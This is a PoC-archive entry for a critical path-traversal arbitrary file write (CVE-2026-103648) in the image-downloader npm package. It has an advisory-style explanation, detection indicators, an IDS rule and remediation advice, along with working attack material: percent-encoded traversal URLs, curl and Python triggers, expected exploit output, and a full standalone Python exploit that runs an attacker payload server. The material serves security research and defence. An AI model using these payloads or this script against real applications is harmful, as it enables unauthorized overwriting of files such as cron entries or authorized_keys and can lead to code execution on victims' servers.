PoC Archive PoC Archive
CVE-2026-103648 category: web CVSS 9.1 (CRITICAL)
Patched

image-downloader Pre-Decode Basename Path Traversal — Arbitrary File Write (CVE-2026-103648)

Published: 2026-11-25 • Researcher: Amirhossein Roustaei (@EterNullSec), Eternull Security — repository owner and vulnerability discoverer; vendor maintainer Sébastien Demanou (@demsking)

Target software image-downloader npm package (Node.js library), filename-extraction logic in index.js
Affected versions All versions before 4.3.1, including 4.3.0; fixed in 4.3.1. NVD carries no product/range list — versions are from the upstream advisory and diff
Status PoC (lab-validated arbitrary file write; no RCE chain)
Severity Critical · CVSS 9.1
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-06
Author / ResearcherAmirhossein Roustaei (@EterNullSec), Eternull Security — repository owner and vulnerability discoverer; vendor maintainer Sébastien Demanou (@demsking)
CVE / AdvisoryCVE-2026-103648
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
StatusPoC (lab-validated arbitrary file write; no RCE chain)
Tagspath-traversal, CWE-22, arbitrary-file-write, image-downloader, npm, Node.js, unauthenticated, remote, supply-chain, file-overwrite
RelatedN/A

Affected Target

FieldValue
Software / Systemimage-downloader npm package (Node.js library), filename-extraction logic in index.js
Versions AffectedAll versions before 4.3.1, including 4.3.0; fixed in 4.3.1. NVD carries no product/range list — versions are from the upstream advisory and diff
Language / PlatformJavaScript / Node.js (package engines >= 6.10.1); lab image node:18-alpine on Linux
Authentication RequiredNo
Network Access RequiredYes

Summary

image-downloader 4.3.0 derives the local output filename from the download URL by calling path.basename on the pathname and only then running decodeURIComponent. A percent-encoded traversal such as %2e%2e%2f contains no literal slash during the basename step, so it survives unchanged and is decoded into a real ../ afterward. path.join then normalizes the .. segment, and the downloaded response is written outside the configured destination directory. An attacker who controls the download URL of a library consumer (user-submitted image import, webhook payload, or content feed) can therefore create or overwrite arbitrary files with the privileges of the Node.js process, which commonly escalates to code execution in permissive deployments.

Vulnerability Details

Root Cause

The filename-extraction branch of module.exports.image in image-downloader 4.3.0 runs the sanitizer before the decoder:

JavaScript
1
2
3
const basename = path.basename(pathname);            // still percent-encoded
const decodedBasename = decodeURIComponent(basename); // traversal becomes literal here
options.dest = path.join(options.dest, decodedBasename);

path.basename() on /%2e%2e%2fpwned.sh sees no literal /, so it returns the whole encoded string as a filename. decodeURIComponent() then turns %2e%2e%2f into ../, and path.join() resolves it as a real parent-directory step. Decode-then-basename would be safe; basename-then-decode is the bug (CWE-22). The fix in 4.3.1 decodes first, rejects NUL bytes, and adds a path.relative() containment check against dest.

Attack Vector

An application calls download.image({ url, dest }) with a URL it does not fully control, for example a user-supplied avatar/image URL or a link from a webhook or RSS item. The attacker only needs to control the path component of that URL and serve a 200 response. In the bundled lab, a GET to the intentionally vulnerable endpoint /download?url=<crafted-url> passes the URL to the library; the traversal is in the URL path, not the response body, so no special server behavior is needed beyond returning content.

Impact

Arbitrary file creation or overwrite, outside the intended download directory, with the filesystem permissions of the Node.js process. Confidentiality impact is none per the CVSS vector, but integrity and availability are high: overwriting cron entries, authorized_keys, application code, or config files can lead to code execution or denial of service, particularly in containers or CI runners with broad write access. The PoC demonstrates a marker file written to /tmp, one level above the lab’s /tmp/downloads directory.

Environment / Lab Setup

Output
OS:          Linux (Docker) or any host with Node.js 18+
Target:      vulnerable-app/server.js — image-downloader 4.3.0,
             Node HTTP server on :3000, download dir /tmp/downloads
Attacker:    Python 3.8+ with requests, or Metasploit (auxiliary module)
Tools:       Docker / Docker Compose, Node.js 18, npm, Python 3, curl

Setup Steps

Shell script
1
2
3
4
docker compose up --build
cd vulnerable-app/
npm install          # installs image-downloader 4.3.0
node server.js       # listening on http://localhost:3000

Proof of Concept

Step-by-Step Reproduction

  1. Start the vulnerable target — run the Docker Compose lab or node server.js from vulnerable-app/; the download directory is /tmp/downloads/ and the endpoint is GET /download?url=<image_url>.

  2. Craft the traversal URL — the attacker serves any 200 response and puts the traversal in the URL path, percent-encoded so no literal slash is visible to path.basename():

    Output
    1
    
    http://<attacker>:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
  3. Deliver it to the vulnerable consumer — the bundled exploit script starts the payload server and triggers the target endpoint:

    Shell script
    1
    
    python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

    Or by hand with curl:

    Shell script
    1
    
    curl "http://localhost:3000/download?url=http://attacker:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt"
  4. Observe the out-of-directory write — image-downloader 4.3.0 decodes the escaped basename and path.join normalizes it, so the response body is written to /tmp/pwned_by_eternullsec.txt instead of /tmp/downloads/.

  5. Verify the file landed outside dest — on the target host (or in the mounted /tmp/cve-lab volume):

    Shell script
    1
    2
    
    ls -la /tmp/pwned_by_eternullsec.txt
    cat /tmp/pwned_by_eternullsec.txt

Exploit Code

See exploit/exploit.py for the self-contained lab runner and image-downloader_4.3.0_path_traversal.py for the Exploit-DB-style standalone script. A Metasploit auxiliary module is in metasploit-module/image_downloader_path_traversal.rb; the intentionally vulnerable consumer is vulnerable-app/server.js.

Minimal client-side trigger (the traversal lives entirely in the URL path):

Python
1
2
3
4
import requests

payload_url = "http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt"
requests.get("http://localhost:3000/download", params={"url": payload_url}, timeout=15)

Expected Output

Output
1
2
3
4
5
6
7
8
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

Detection & Indicators of Compromise

  • Web/proxy logs containing percent-encoded traversal in a download parameter: %2e%2e%2f, %2e%2e%5c, ..%2f, or double-encoded variants such as %252e%252e%252f, usually inside a url= query value.
  • Node.js application logs showing the library saving a file to a path outside the configured download directory, e.g. [+] File saved to: /tmp/pwned_by_eternullsec.txt when dest is /tmp/downloads.
  • Unexpected files appearing next to, or above, the configured destination directory, especially with attacker-supplied names or marker content.
  • Outbound HTTP requests from the application server to unfamiliar hosts whose request paths contain traversal sequences (the library fetches the attacker URL before writing).
  • Writes to sensitive locations reachable by the service account (cron directories, authorized_keys, application templates) are a strong post-exploitation signal.

Example access-log hit:

Output
1
GET /download?url=http://attacker.example/%2e%2e%2f%2e%2e%2ftmp%2fevil.sh HTTP/1.1" 200

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-103648 image-downloader encoded traversal in url parameter"; \
  content:"url="; http_uri; nocase; \
  content:"%2e%2e%2f"; http_uri; nocase; sid:9002648;)

Remediation

ActionDetail
PatchUpgrade to image-downloader 4.3.1 or later (npm install image-downloader@latest), which decodes before extracting the basename, rejects NUL bytes, and enforces a path.relative() containment check. Fix commit fb44543.
WorkaroundIf the upgrade must wait: never pass an untrusted URL; validate the decoded pathname yourself (decode, then basename, then resolve and require the result to stay inside dest), or bypass filename extraction by passing extractFilename: false / a dest that already includes a filename extension and is fully controlled by the application.
Config HardeningRun the Node.js service as an unprivileged user with write access limited to the download directory; use a read-only container root with a dedicated writable volume; restrict outbound egress to expected hosts; add the SIEM rule above and alert on file creation outside dest.

References

Notes

Auto-ingested from https://github.com/EterNullSec/CVE-2026-103648 on 2026-11-25. The repository was last updated 2026-10-06 (git author date).

Review verdict: this is a real PoC, not a detector/scanner. It contains a self-contained exploit runner (exploit/exploit.py), an Exploit-DB-style standalone script (image-downloader_4.3.0_path_traversal.py), a Metasploit auxiliary module, an intentionally vulnerable Node.js consumer, and a Docker lab. All exploit code is archived with attribution; medium-post.md is the author’s technical write-up and was kept for the root-cause and patch detail.

License: MIT (repository LICENSE, Copyright 2026 Amirhossein Roustaei / EterNullSec). The MIT text covers the PoC code; it does not grant permission to attack systems without written authorization. No code was executed during ingestion, per archive policy.

Limitations and caveats: the bundled PoC collapses the attacker and victim roles into one script for reproducibility, and its verification step reads /tmp on the local host, so confirming the out-of-directory write needs local access to the victim (the Docker lab bind-mounts /tmp). The Metasploit module can only confirm that the target fetched the payload, not that the file landed outside dest. Exploitation requires a consuming application that passes an externally controlled URL into download.image() with default filename extraction enabled. The PoC stops at arbitrary file write; escalation to code execution by overwriting cron files, authorized_keys, or executed scripts is described in the write-up but not implemented. NVD lists no product/version configurations, so affected versions come from the upstream advisory (< 4.3.1, fixed 4.3.1); as of ingestion the CISA SSVC record marks exploitation as “none” and EPSS is 0.00581, so this reflects a public lab PoC rather than observed in-the-wild activity. vulnerable-app/package-lock.json was excluded per archive policy. Use only against systems you own or have explicit written authorization to test.

image-downloader_4.3.0_path_traversal.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/EterNullSec/CVE-2026-103648 (see README for attribution/license)
# Exploit Title: image-downloader 4.3.0 - Path Traversal (Arbitrary File Write)
# Date: 2026-10-03
# Exploit Author: Amirhossein Roustaei (@EterNullSec) - Eternull Security
# Vendor Homepage: https://gitlab.com/demsking/image-downloader
# Software Link: https://www.npmjs.com/package/image-downloader
# Version: 4.3.0
# Tested on: Linux (Node.js v18+, Python 3.8+)
# CVE: CVE-2026-103648
# References: https://eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
#             https://github.com/EterNullSec/CVE-2026-103648
#             https://www.cve.org/CVERecord?id=CVE-2026-103648
#             https://gitlab.com/demsking/image-downloader/-/commit/fb4454304276e2439fb19b98836b3ba903b3aaea

# ==============================================================================
# Vulnerability Description
# ==============================================================================
#
# image-downloader 4.3.0 is vulnerable to path traversal (CWE-22).
#
# Root cause (verified against the published index.js source):
#   const basename = path.basename(pathname);             // basename FIRST
#   const decodedBasename = decodeURIComponent(basename);  // decode SECOND
#   options.dest = path.join(options.dest, decodedBasename);
#
# path.basename() runs on the still percent-encoded URL pathname, so a
# sequence like %2e%2e%2f contains no literal '/' and passes through
# unchanged. decodeURIComponent() is only applied AFTER that — turning it
# into a real '../' — and path.join() then normalizes it, resolving the
# final write path outside the configured destination directory (dest).
# Decode-then-basename is safe; basename-then-decode (the actual order
# used in 4.3.0) is not.
#
# Preconditions:
#   - The consuming application runs image-downloader server-side
#   - An attacker can influence the URL passed to download.image()
#   - The dest directory is writable
#   - Default automatic filename extraction is used (the default)
#
# Impact:
#   Arbitrary file creation or overwrite outside the configured download
#   directory. CVSS v3.1 Score: 9.1 (Critical)
#   CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
#
# Fixed in version 4.3.1.
#
# Attack model: this script plays both the attacker and victim role for
# reproducibility. In the wild, the victim is any app calling
# download.image() with a URL it does not fully control (user-submitted
# imports, webhook payloads, content feeds); the attacker only needs to
# control the path component of that URL. See the upstream repo README
# ("Attack Model" section) for the full breakdown:
# https://github.com/EterNullSec/CVE-2026-103648
#
# ==============================================================================
# Usage
# ==============================================================================
#
# Step 1 — Start the vulnerable Node.js lab server:
#   cd vulnerable-app && npm install && node server.js
#   (Server listens on http://localhost:3000, writes to /tmp/downloads/)
#
# Step 2 — Run this exploit:
#   python3 exploitdb-submission.py --target http://localhost:3000 --lhost 127.0.0.1
#
# Step 3 — Verify the traversal:
#   cat /tmp/pwned_by_eternullsec.txt
#   (File should exist OUTSIDE /tmp/downloads/)
#
# Full lab setup: https://github.com/EterNullSec/CVE-2026-103648
# ==============================================================================

import argparse
import http.server
import os
import sys
import threading
import time
import urllib.parse

try:
    import requests
except ImportError:
    sys.exit("[!] Missing dependency: pip3 install requests")

PAYLOAD_CONTENT = b"CVE-2026-103648 | Arbitrary File Write via Path Traversal | @EterNullSec\n"
PAYLOAD_FILENAME = "pwned_by_eternullsec.txt"


class _PayloadHandler(http.server.BaseHTTPRequestHandler):
    """
    Minimal HTTP server that serves the payload file.
    The vulnerable server will fetch this URL and write the response to disk.
    """
    served = threading.Event()

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(PAYLOAD_CONTENT)))
        self.end_headers()
        self.wfile.write(PAYLOAD_CONTENT)
        print(f"    [+] Payload fetched by target ({self.client_address[0]})")
        _PayloadHandler.served.set()

    def log_message(self, *args):
        pass


def _craft_url(lhost, lport, depth=2):
    """
    Build a URL whose path encodes a directory traversal using %2f (encoded /).

    path.basename() sees %2f as a regular character, not a separator.
    After the HTTP client decodes the URL on write, it becomes a real /,
    escaping the destination directory.

    Example output:
      http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
                             ^^^^^^^^^^^^^^^^ = ../../  (decoded)
    """
    traversal = "%2f".join(["%2e%2e"] * depth)
    path = f"/{traversal}%2ftmp%2f{PAYLOAD_FILENAME}"
    return f"http://{lhost}:{lport}{path}"


def run(target, lhost, lport=8888, depth=2, timeout=15):
    print(f"\n  [*] CVE-2026-103648 — image-downloader 4.3.0 Path Traversal PoC")
    print(f"  [*] Researcher : Amirhossein Roustaei (@EterNullSec) — Eternull Security")
    print(f"  [*] Target     : {target}")
    print(f"  [*] LHOST:PORT : {lhost}:{lport}")
    print(f"  [*] Depth      : {depth} traversal level(s)\n")

    # 1. Craft the malicious URL
    url = _craft_url(lhost, lport, depth)
    print(f"  [*] Payload URL    : {url}")
    decoded = urllib.parse.unquote(urllib.parse.urlparse(url).path)
    print(f"  [*] Decoded path   : {decoded}\n")

    # 2. Start the attacker-side payload server
    srv = http.server.HTTPServer((lhost, lport), _PayloadHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    time.sleep(0.3)
    print(f"  [*] Payload server ready on {lhost}:{lport}")

    # 3. Trigger the vulnerable /download endpoint on the target
    print(f"  [*] Triggering vulnerable endpoint...")
    try:
        r = requests.get(f"{target.rstrip('/')}/download",
                         params={"url": url}, timeout=timeout)
        print(f"  [*] Target responded: HTTP {r.status_code}")
    except requests.exceptions.ConnectionError:
        sys.exit(f"  [-] Cannot connect to target: {target}")
    except requests.exceptions.Timeout:
        sys.exit(f"  [-] Request timed out after {timeout}s")

    # 4. Wait for the target to fetch our payload
    if not _PayloadHandler.served.wait(timeout=timeout):
        sys.exit("  [-] Target never fetched the payload. Is the target reachable?")
    print(f"  [+] Payload delivered successfully!\n")

    # 5. Verify file written outside intended directory
    time.sleep(0.8)
    written = f"/tmp/{PAYLOAD_FILENAME}"
    print(f"  [*] Checking for file at: {written}")
    if os.path.exists(written):
        with open(written) as f:
            contents = f.read().strip()
        print(f"  [+] FILE EXISTS  : {written}")
        print(f"  [+] Contents     : {contents}")
        print(f"\n  [+] SUCCESS — Arbitrary file write outside dest confirmed!")
        print(f"  [+] CVE-2026-103648 is EXPLOITABLE on this target.\n")
    else:
        print(f"  [-] File not found at {written}")
        print(f"  [-] Try increasing --depth or check your lab setup.\n")
        sys.exit(1)


if __name__ == "__main__":
    p = argparse.ArgumentParser(
        description="CVE-2026-103648 PoC — image-downloader 4.3.0 Path Traversal"
    )
    p.add_argument("--target", required=True,
                   help="Vulnerable server URL (e.g. http://localhost:3000)")
    p.add_argument("--lhost", required=True,
                   help="Attacker IP reachable by the target (e.g. 127.0.0.1)")
    p.add_argument("--lport", type=int, default=8888,
                   help="Attacker HTTP server port (default: 8888)")
    p.add_argument("--depth", type=int, default=2,
                   help="Traversal depth — number of ../ levels (default: 2)")
    p.add_argument("--timeout", type=int, default=15,
                   help="Request timeout in seconds (default: 15)")
    args = p.parse_args()
    run(args.target, args.lhost, args.lport, args.depth, args.timeout)